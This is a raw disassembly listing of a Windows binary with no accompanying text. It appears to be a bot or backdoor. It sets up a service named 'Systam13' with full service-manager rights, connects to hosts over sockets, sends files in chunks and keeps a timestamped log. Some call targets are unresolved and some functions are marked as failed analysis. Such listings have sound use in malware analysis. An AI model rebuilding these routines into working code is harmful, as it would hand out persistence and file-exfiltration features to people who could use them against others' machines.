		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43FA70
		mov	edi, 0B8h


loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------


loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FA70[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_43FA88[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_42F798
		pop	ebx


loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FA70


loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch


loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 264047Bh
		mov	ebx, offset dword_43F164
		mov	edi, 80h
		mov	esi, offset dword_43B164


loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43B164
		xor	ecx, ecx


loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43F164
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43B164


loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A


loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax


loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43B164


loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144


loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C0FB


loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43AD4C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43ADBC
		jmp	short loc_40C205
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43AD04


loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43AD74
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx


loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8


loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx


loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43AE18
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43ADD8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43AE30


loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------


loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi


loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop


loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_436EDC
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h


loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		call	near ptr 2630F90h
		nop
		xor	edi, edi
		mov	esi, 1000h


loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		call	near ptr 2630F90h
		nop
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E


loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43AD98
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43ADC4
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43AD3C
		push	[ebp+var_2E]
		call	dword_43ACD4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx


loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------


loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al


loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	near ptr 26707CBh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		call	near ptr 26B0000h
		nop
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	eax
		call	dword_43AD94
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43AD80
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------


loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180


loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43AE30
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h


loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax


loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26510A0h
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43ADE8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43ADB0
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]


loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		nop
		call	near ptr 2651922h
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0


loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h


loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h


loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43AE30


loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop


loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26707CBh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 2651922h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
